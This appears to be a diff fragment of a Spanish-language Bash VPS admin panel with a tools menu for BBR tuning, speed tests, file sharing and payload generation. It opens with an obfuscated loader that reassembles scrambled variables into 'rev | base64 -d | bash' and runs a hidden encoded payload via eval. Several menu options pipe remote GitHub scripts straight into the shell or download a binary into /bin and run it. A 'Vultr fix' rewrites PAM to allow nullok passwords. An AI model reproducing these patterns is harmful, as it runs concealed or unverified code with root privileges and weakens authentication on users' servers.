yUBRlTFlUTBJlUFh0JgQHelRnbpJHcoQCIgASCiASYtFWLgc2ctpQfKIXYi1CInNXbJowJbSp4BSp4XSp45Wp4gkbliDSuVKOI5Wp4gkblijbliHIlifJlinblinbliDSuVKeuVKOI5Wp44Wp4XSp45Wp44Wp4XSp45Wp44Wp4BSp4XSp45Wp4gkblirwkUKegUK+lUK+qUKegUK+oUKOIDSp4gsKlifJliPIliDCuVK+oUK+gUK+gUK+gUK+gUK+qUKegUK+oUK+mUK+sUK+oUK+mUK+sUK+oUKOI4Wp4jSp4rSp4BSp4jSp4KMJliHIli/IliPJliHIli/IlijbliPLlirblivbliPJli/IlijbliHIli/IlivbliPJliPLli/IliPJliHIli/IliPJliHIli/IliPJliHIli/IlijbliHIli/IlivbliDyuVK+JgwDP8ACdhNWCKsHI8xHI9pgchJWLgc2ctlgC0F2Ys9GbgwHIpUWbh52L092by9CI0F2YoQCIlJXd0VnZgYWLgQXZsdWamlgC7BiJmASXdBSZtFmbvQ3bvJ3LgUWLgs1WKIXYlx2YK8GasF2YlJWYj9SZ0lGbt0GZh9yY0V2LgU2YyV3bzpwepgSduVWbfRnchR3cKowZz1GIlNmc192cKg2chJ2LulmYvEyI | r";btpHxajasweNDgSoWuZqexwVYOFKgWAOYSibkLESUnSEVGDenwOuXewuRdNKrdbDXnuYMAxBkQHsJJfRPrPIFvjIoYriKogWPKfu="sxgzhJNCniuSNuaXCxbugpTqBzeKauhUSQinqGwsjIuFXVZNUtazjrSbaTTNASGgAOQPgtzTbXPDXMxxRdTVKaTYorqxJizbEJAj";GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt="";THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX="as";NKygDIGQAVkRYVRMGthHnswdhcTMbLikElLxNWGnRROyAfsytqZImmvtaTzAhGjMIdFWCnkdHkegszDOUqmEEyQfUYJhTioEIMHu="rcsXXQrPOrctmLmZQGhSssylViVjrWXdriLonWYZzwXDBmddumGSMcpwCPdUsGkXIKYffMluVvZBVMvDMbdtNWENupzLXmXqkYey";eZZoDtlJXfGTaMHgQewIEDJgMldjaqwNjKYjcdzzZKfBxpHDzVtofMrEKsIrzsEtNDgyoiRGVWPqgeTcLFtBofVpjbjySPNNNIzT="cEBrLTAvmwzEhlRasOLlfwTmjKPUROghSPDwaZHnbRpYIvDfWhDDtLNCjSqKXeNGTBKYOlJOshfKgMvYcPBQYkcEhbkDtrgudvdu";ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk="o";uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT="6";GwwYEnkFjxHtRUBMnlGlOalvSSsbPsEIlidQEwiwAQjYLCGfIsxKWxxTCsVAxitgXEiHWNvjtVQFIBdhuXDlAewntrpMEiusoRzw="PVRoFYlOyKEWSfYHOoIeVgxFZzbruhixBhYxixvmElNNoXdmcHVEiEofpVbqwsRCwKAEbJtGXPUFGIALtWFgaaQKfMiBOmBzvDgb";YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg=" -d";fGTjPIbrQPyfdSvrIYoGImllrplfbbfOIBBwJZcdwyEvtOGQyRNQAXAwynHhNdktBBxurfcjyCQBCowEwAyxkWnPJKkjEKVyCUEN="PrzGTaMIQsoXZxNPJrZjgkZTDToMlkqnQnvFgozgVWzDxDyIbBITMZWabAhEFbfKvRsCKTPOWKMMSDQrOIBLESqPwRgJoIbFuFkB";bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI="";sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh="b";jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns="e";FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord="v |";Tx=Eds;vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa="";ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI=$(eval "$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk$gcgkTRXOmbaAxzGTLOcmHIsJMyFlfhEFlFFlmFKRZinKxMFeCPLgeeAeqXDMrcEHFHiwkCAIpdqrgkQyFbIjhwhFPZVhqajGNoOu$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa$THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev$YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa");eval "$bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI$ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV" \ No newline at end of file +source $(pwd)/msg +start_menu () { +source /etc/scpdk1/cabecalho +clear&&clear +figlet 'TOOLS'|lolcat +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮${cor[3]} Bloqueo Torrent y Palabras Claves \033[0;33m( #BETA )" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮${cor[3]} FIX PassWD Vultr" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮${cor[3]} Bad-VPN (Juegos Online/VideoCalls) $_badvpn" +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮${cor[3]} TCP SPEED ( BBR ) $_tcpspeed" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ➮${cor[3]} FAILBAN\033[0;32m ( Secure IP ) $fail_b" +echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;31m ➮${cor[3]} DETALLES DEL VPS " +echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;31m ➮${cor[3]} TEST DE VELOCIDAD DEL SERVIDOR" +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;31m ➮${cor[3]} COMPARTIR ARCHIVO ONLINE" +echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;31m ➮${cor[3]} GENERADOR DE PAYLOAD" +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m ➮${cor[3]} ULTRA HOST DE DOMINIOS " +echo -e "\033[0;35m [\033[0;36m11\033[0;35m]\033[0;31m ➮${cor[3]} CAPTURAR SUBDOMINIOS \033[0;33m( #ToolMaster )" +echo -e "\033[0;35m [\033[0;36m12\033[0;35m]\033[0;31m ➮${cor[3]} REINICIAR VPS (REBOOT)" +msg -bar +echo -e " \033[0;35m[\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Regresar ]\e[0m")" +msg -bar +} + +#FUNCION DE SELECCION +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ESCOJE : " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +block_torrent () { +msg -bar +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) +msg -bar +export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games +read -p " Presiona Enter para Continuar" +exit +} + +fix_vultr () { +msg -bar # +echo -e 'Aplicando FIX para Vultr VPS Passwd' +echo -e "Añadiendo Registro a PAM.D" +sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password +msg -bar # +echo -e "Registro agregado" +msg -bar # +sleep 2s +cgh +} + +badUDP () { +msg -bar +echo -e "${cor[4]} BADVPN se instalará + que no es más que un programa + que libera puertos UDP en el servidor + y así permitir el servicio de VideoLlamadas!" +echo -e "${cor[5]} INICIANDO . . ." +msg -bar +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ferramentas/budp.sh) +} + +tcp_BBR () { +msg -bar +echo -e "${cor[4]} Este Script fue proyectado" +echo -e "${cor[4]} Para Mejorar La Latencia" +echo -e "${cor[4]} y velocidad del servidor!" +msg -bar +echo -e "${cor[5]} ANALIZADO POR @ChumoGH" +sleep 1s +if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then +#INSTALA +echo -e "${cor[5]} Este es un script experimental" +echo -e "${cor[5]} ¡Utilice por su propia cuenta y riesgo!" +echo -e "${cor[5]} Este script cambiará algunas" +echo -e "${cor[5]} configuraciones de red (BBR)" +echo -e "${cor[5]} del sistema para reducir" +echo -e "${cor[5]} la latencia y mejorar la velocidad" +msg -bar +read -p " Continuar con la instalación? [s/n]: " -e -i s resp_osta +echo -e "\033[1;37m" +if [[ "$resp_osta" = 's' ]]; then +unset resp_osta +echo "#ADM" >> /etc/sysctl.conf +echo "net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0 +net.core.default_qdisc=fq +net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} se han agregado con éxito" +msg -bar +return + else +msg -bar +return +fi + else +#REMOVE +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} ya se han agregado en el sistema!" +msg -bar +read -p " Desea quitar la configuración TCP? [s/n]: " -e -i n res_posta +if [[ "$res_posta" = 's' ]]; then +unset res_posta +grep -v "^#ADM +net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0 +net.core.default_qdisc=fq +net.ipv4.tcp_congestion_control=bbr" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} se han eliminado con éxito" +msg -bar +return + else +msg -bar +return + fi +fi +} + +fail_ban () { +bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ferramentas/fai2ban.sh)" +fail2ban-testcases -x start 2>/dev/null +fail2ban-client -x start 2>/dev/null +} + +online_url () { +_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)" +#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) +#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)" +[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || { +msg -bar +echo -e "${cor[5]} OPCION PARA COLOCAR" +echo -e "${cor[5]} CUALQUIER ARCHIVO ONLINE" +echo -e "${cor[5]} QUE ESTE ARCHIVO" +echo -e "${cor[5]} EN EL DIRECTORIO \033[1;31m$HOME" +msg -bar +meu_ip +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m COLOCAR ARCHIVO ONLINE \033[0;32m(#)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m REMOVER ARCHIVO ONLINE \033[0;32m(#)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;31m VER MIS ARCHIVOS ONLINE \033[0;33m(#)" +msg -bar +echo -e " \033[0;35m [\033[0;36mENTER\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Regresar ]\e[0m")" +read -p " 『 1-3 』: " arquivo_online_adm +number_var $arquivo_online_adm +if [ "$var_number" = "" ]; then +return + else +online_adm="$var_number" +fi +if [ "$online_adm" -gt 3 ]; then +echo -e "${cor[5]} VER MIS ARCHIVOS ONLINE" +msg -bar +return +fi +if [ "$online_adm" = 3 ]; then +msg -bar +for my_arqs in `ls /var/www/html`; do +if [ "$my_arqs" != "index.html" ]; then + if [ ! -d "$my_arqs" ]; then +echo -e " \033[1;36mhttp://$IP:81/$my_arqs\033[0m" + fi +fi +done +msg -bar +return +fi +if [ "$online_adm" = 2 ]; then +msg -bar +unset _cont +_cont="1" +for my_arqs in `ls /var/www/html`; do +if [ "$my_arqs" != "index.html" ]; then + if [ ! -d "$my_arqs" ]; then +select_arc[$_cont]="$my_arqs" +echo -e "${cor[2]}『$_cont』-${cor[3]}【 $my_arqs 】➮ \033[1;36mhttp://$IP:81/$my_arqs\033[0m" +_cont=$(($_cont + 1)) + fi +fi +done +_cont=$(($_cont - 1)) +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +echo -e "${cor[5]} Seleccione un archivo:" +read -p " 『1-$_cont』: " slct +number_var $slct +if [ "$var_number" = "" ]; then +return + else +slct="$var_number" +fi +unset _cont +arquivo_move="${select_arc[$slct]}" + if [ "$arquivo_move" = "" ]; then +echo -e "${cor[5]} Ningún archivo ha sido seleccionado" +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +return + fi +rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1 +rm -rf /var/www/$arquivo_move > /dev/null 2>&1 +echo -e "${cor[5]} Procedimiento Hecho Con Éxito" +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +return +fi +unset _cont +_cont="1" +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +echo -e "${cor[5]} Sus archivos en la carpeta" +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +for my_arqs in `ls $HOME`; do +if [ ! -d "$my_arqs" ]; then +select_arc[$_cont]="$my_arqs" +echo -e "${cor[2]}【$_cont】➮${cor[3]}$my_arqs" +_cont=$(($_cont + 1)) +fi +done +_cont=$(($_cont - 1)) +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +echo -e "${cor[5]} Selecciona un archivo :" +read -p " 『1-$_cont』: " slct +number_var $slct +if [ "$var_number" = "" ]; then +return + else +slct="$var_number" +fi +unset _cont +arquivo_move="${select_arc[$slct]}" +if [ "$arquivo_move" = "" ]; then +echo -e "${cor[5]} No se selecciono" +msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}" +return +fi +if [ ! -d /var ]; then +mkdir /var +fi +if [ ! -d /var/www ]; then +mkdir /var/www +fi +if [ ! -d /var/www/html ]; then +mkdir /var/www/html +fi +if [ ! -e /var/www/html/index.html ]; then +touch /var/www/html/index.html +fi +if [ ! -e /var/www/index.html ]; then +touch /var/www/index.html +fi +chmod -R 755 /var/www +cp $HOME/$arquivo_move /var/www/$arquivo_move +cp $HOME/$arquivo_move /var/www/html/$arquivo_move +msg -bar +echo -e "${cor[5]} ACCESO AL ARCHIVO ATRAVES DEL ENLACE" +echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m" +echo -e "${cor[5]} FICHERO CARGADO CON EXITO !!" +msg -bar +} + +} + +testing_test () { +clear&&clear +msg -bar + +echo -e " INICIANDO PRUEBAS DE VELOCIDAD !" | pv -qL 25 +llenadatos_() { +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#speedtest +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || apt-get install speedtest* -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install speedtest ........... $ESTATUS " +echo "FIX" > /bin/ejecutar/fixTST +} + +[[ -e /bin/ejecutar/fixTST ]] || llenadatos_ + +function aguarde() { + sleep 1 + helice() { + #TMPDIR="$(mktemp -d)" + speedtest --share > /bin/ejecutar/result.txt & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m REALIZANDO PRUEBAS DE\033[1;32m DESCARGA \033[1;37m& \033[1;32mSUBIDA\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +msg -bar +aguarde +msg -bar +pingGG=$(ping -c1 google.com |awk '{print $8 $9}' |grep -v loss |cut -d = -f2 |sed ':a;N;s/\n//g;ta') +power_by=$(less /bin/ejecutar/result.txt | grep "Testing from" | awk '{print $3,$4}') +down_load=$(less /bin/ejecutar/result.txt | grep "Download" | awk '{print $2,$3}') +up_load=$(less /bin/ejecutar/result.txt | grep "Upload" | awk '{print $2,$3}') +resultURL=$(less /bin/ejecutar/result.txt | grep "Share results" | awk '{print $2,$3}') +echo -e "${cor[5]} HOSTING BASE : $power_by " +echo -e "${cor[5]} LATENCIA PING : $pingGG " +echo -e "${cor[5]} V DE SUBIDA : $up_load" +echo -e "${cor[5]} V DE DESCARGA : $down_load" +echo -e "${cor[5]} URL DE TEST : $resultURL" +msg -bar +return +} + +function_10 () { +null="\033[1;31m" +msg -bar +if [ ! /proc/cpuinfo ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +if [ ! /etc/issue.net ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +if [ ! /proc/meminfo ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +totalram=$(free | grep Mem | awk '{print $2}') +usedram=$(free | grep Mem | awk '{print $3}') +freeram=$(free | grep Mem | awk '{print $4}') +swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}') +system=$(cat /etc/issue.net) +clock=$(lscpu | grep "CPU MHz" | awk '{print $3}') +based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}') +processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}') +cpus=$(cat /proc/cpuinfo | grep processor | wc -l) +if [ "$system" ]; then +echo -e "${cor[5]} Su Sistema : ${null}$system" +else +echo -e "${cor[5]} Su Sistema : ${null}???" +fi +if [ "$based" ]; then +echo -e "${cor[5]} BASADO : ${null}$based" +else +echo -e "${cor[5]} BASADO : ${null}???" +fi +if [ "$processor" ]; then +echo -e "${cor[5]} PROCESADOR FISICO : ${null}$processor x$cpus" +else +echo -e "${cor[5]} PROCESADOR FISICO : ${null}???" +fi +if [ "$clock" ]; then +echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}$clock MHz" +else +echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}???" +fi +echo -e "${cor[5]} USO DEL CPU : ${null}$(ps aux | awk 'BEGIN { sum = 0 } { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')" +echo -e "${cor[5]} Arquitectura CPU ID : ${null}$(lscpu | grep "Vendor ID" | awk '{print $3}')" +echo -e "${cor[5]} MEMORIA RAM Total : ${null}$(($totalram / 1024))" +echo -e "${cor[5]} MEMORIA RAM USADA : ${null}$(($usedram / 1024))" +echo -e "${cor[5]} MEMORIA RAM LIBRE : ${null}$(($freeram / 1024))" +echo -e "${cor[5]} MEMORIA SWAP : ${null}$(($swapram / 1024))MB" +echo -e "${cor[5]} TIEMPO ONLINE : ${null}$(uptime)" +echo -e "${cor[5]} NOMBRE DEL VPS : ${null}$(hostname)" +echo -e "${cor[5]} DIRECCION VPS : ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}' | head -1)" +echo -e "${cor[5]} DIRECCION DE LA VPS : ${null}$(wget -qO- ifconfig.me)" +echo -e "${cor[5]} VERSION DEL KERNEL : ${null}$(uname -r)" +echo -e "${cor[5]} ARQUITECTURA DEL VPS: ${null}$(uname -m)" +msg -bar +return +} + +criar_pay () { +msg -bar +echo -e "${cor[5]} DIJITE SU HOST PARA EMPEZAR" +echo -e "${cor[5]} ¡PAYLOADS GENERICAS!" +echo -e "${cor[5]} INGRESA TU HOST" +msg -bar +read -p " => " valor1 +if [ "$valor1" = "" ]; then +echo -e "${cor[5]} NO SE INGRESO HOST!!!" +return +fi +meu_ip +valor2="$IP" +if [ "$valor2" = "" ]; then +valor2="127.0.0.1" +fi +msg -bar +echo -e "${cor[5]} ELEJIR METODO DE RESPUESTA ${cor[3]}" +echo -e " 1-GET" +echo -e " 2-CONNECT" +echo -e " 3-PUT" +echo -e " 4-OPTIONS" +echo -e " 5-DELETE" +echo -e " 6-HEAD" +echo -e " 7-TRACE" +echo -e " 8-PROPATCH" +echo -e " 9-PATCH" +msg -bar +read -p " => " valor3 +case $valor3 in +1)req="GET";; +2)req="CONNECT";; +3)req="PUT";; +4)req="OPTIONS";; +5)req="DELETE";; +6)req="HEAD";; +7)req="TRACE";; +8)req="PROPATCH";; +9)req="PATCH";; +*)req="GET";; +esac +msg -bar +echo -e "${cor[5]} POR ULTIMO" +echo -e "${cor[5]} METODO DE INJECCCION ${cor[3]}" +echo -e " 1-realData" +echo -e " 2-netData" +echo -e " 3-raw" +msg -bar +read -p " => " valor4 +case $valor4 in +1)in="realData";; +2)in="netData";; +3)in="raw";; +*)in="netData";; +esac +msg -bar +name=$(echo $valor1 | awk -F "/" '{print $2'}) +if [ "$name" = "" ]; then +name=$(echo $valor1 | awk -F "/" '{print $1'}) +fi +esquelet="/etc/scpdk1/payloads" +sed -s "s;realData;abc;g" $esquelet > $HOME/$name.txt +sed -i "s;netData;abc;g" $HOME/$name.txt +sed -i "s;raw;abc;g" $HOME/$name.txt +sed -i "s;abc;$in;g" $HOME/$name.txt +sed -i "s;get;$req;g" $HOME/$name.txt +sed -i "s;mhost;$valor1;g" $HOME/$name.txt +sed -i "s;mip;$valor2;g" $HOME/$name.txt +if [ "$(cat $HOME/$name.txt | egrep -o "$valor1")" = "" ]; then +echo -e "" +echo -e "${cor[3]} ALGO ESTA \033[1;36mMAL !!" +rm $HOME/$name.txt +return +fi +echo -e "${cor[3]} GENERACION DE PAYLOAD EXITOSA !!" +echo -e "${cor[3]} DIRECTORIO \033[1;31m$HOME/$name.txt" +return +} + +fun_bar () { +comando="$1" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +$comando -y > /dev/null 2>&1 +touch $HOME/fim + ) & > /dev/null +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<=10; i++)); do + echo -ne "\033[1;31m#" + sleep 0.3s + done + [[ -e $HOME/fim ]] && { + rm $HOME/fim + break + } + echo + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +t_master () { +clear +[[ ! -e /bin/toolmaster ]] && wget -O /bin/toolmaster https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Complementos/toolmaster >/dev/null 2>&1&&chmod +rwx /bin/toolmaster +toolmaster +} + 